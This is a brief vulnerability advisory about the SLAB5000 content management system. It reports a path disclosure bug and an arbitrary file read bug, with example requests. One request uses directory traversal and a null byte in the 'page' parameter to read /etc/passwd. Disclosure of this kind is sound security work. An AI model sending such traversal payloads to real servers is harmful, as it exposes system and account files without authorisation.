Path Disclosure and Arbitrary File Read Vulnerability in SLAB5000

[Description]
SLAB500 is a complete, dynamic, modular web-system designed to your specifications, allowing you to quickly
and conveniently update all your content, add new pages, upload images, sounds and video from any browser,
via our front-end interface from any location that you have web access.
– taken from they website http://www.slab5000.com –

I discover 2 bugs one known as "path disclosure" and Arbitrary File Read Vulnerability in the SLAB5000
Content Management System that allow malicious attacker to read sensitive information about the system.

[Path Disclosure]
Due to improper sanity checks in the variable $page:

http://www.server.com/index.php?page=../../../var

Warning: main(/usr/www/users/username/slab500/common/…/…/…/var/index.php): failed to open stream: No such
file or directory in /usr/www/users/usernameb/slab500/folder/index.php on line 63

[File Read]

Due to imporper sanity inputs checks too, just adding the NULL byte and the end of the file:

http://www.server.com/index.php?page=../../../../../etc/passwd%00

[Solution]
Edit the source to do sanity input checks as well.

Sorry if my english is bad :)

Justin_T
irc: #nt at Undernet
shoutz: warcold, KrOsS, HoOH, lsdx, jsz, and all the guyz from DO.